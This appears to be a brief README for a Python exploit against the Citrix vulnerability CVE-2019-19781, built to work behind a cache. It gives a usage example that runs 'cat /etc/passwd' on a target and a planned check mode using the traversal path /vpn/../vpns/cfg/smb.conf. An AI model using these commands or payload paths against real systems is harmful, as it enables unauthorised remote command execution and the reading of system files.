CVE-2019-19781

Just a python3 CVE-2019-19781 exploit for Citrix behind a cache. This version accepts '<', '>', '|', '2>&1'... etc

USAGE

python3 CVE-2019-19781.py citrix.example.org 'cat /etc/passwd'

Todo

Repeat if Age header in response.
Continuous mode -c.
Check mode (Get /vpn/../vpns/cfg/smb.conf)